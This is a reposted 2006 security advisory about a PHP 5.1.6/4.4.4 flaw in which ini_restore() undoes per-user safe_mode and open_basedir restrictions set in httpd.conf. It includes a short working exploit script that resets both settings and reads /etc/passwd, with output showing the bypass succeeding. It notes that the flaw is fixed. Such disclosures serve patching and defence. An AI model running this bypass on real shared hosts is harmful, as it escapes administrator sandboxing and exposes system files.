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securityvulnsSecurityvulnsSECURITYVULNS:DOC:14205
HistorySep 11, 2006 - 12:00 a.m.

PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()

2006-09-1100:00:00
vulners.com
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[PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:

    • Written: 05.09.2006
  • — 0.Description —
    PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific
    features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sжther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference Material is freely available.

php_admin_value name value

Sets the value of the specified directive. This can not be used in .htaccess files. Any directive type set with php_admin_value can 

not be overridden by .htaccess or virtualhost directives. To clear a previously set value use none as the value.
php_admin_flag name on|off

Used to set a boolean configuration directive. This can not be used in .htaccess files. Any directive type set with php_admin_flag 

can not be overridden by .htaccess or virtualhost directives.

http://pl.php.net/manual/en/configuration.changes.php

  • — 1. php_admin_value and php_admin_flag Bypass —
    When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g.
    httpd.conf). This options are using by a lot of ISP to set open_basedir, safe_mode and more options.

For example:
open_basedir in httpd.conf


<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>


In PHP are two config options. Are Local Value and Master Value. More in phpinfo() or ini_get()

Example:
If you have safe_mode or open_basedir (etc) set in Local Value for selected users and in Master Value is default value, you can restore
Master Value to Local Value per ini_restore() function!


ini_restore

(PHP 4, PHP 5)
ini_restore – Restores the value of a configuration option


Restores the value of a php.ini file. Then your PHP options from httpd.conf are bypassed.

EXPLOIT:


<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>


RESULT OF EXPLOIT:


1
/usr/home/frajer/public_html/
Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s):
(/usr/home/frajer/public_html/) in /usr/home/frajer/public_html/ini_restore.php on line 4

Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in
/usr/home/frajer/public_html/ini_restore.php on line 4

Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:') in
/usr/home/frajer/public_html/ini_restore.php on line 4

$BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root::0:0:Charlie &:/root:/bin/csh toor::0:0:Bourne-ag…


This issue is very dangerous, because Admin can't correct set open_basedir or safe_mode for all users.

  • — 2. How to fix —
    fixed in CVS HEAD, PHP_5_2, PHP_5_1 and PHP_4_4.

http://cvs.php.net/viewcvs.cgi/php-src/NEWS

  • — 3. Greets —

For: sp3x
and
p_e_a, l5x

Regards
SecurityReason
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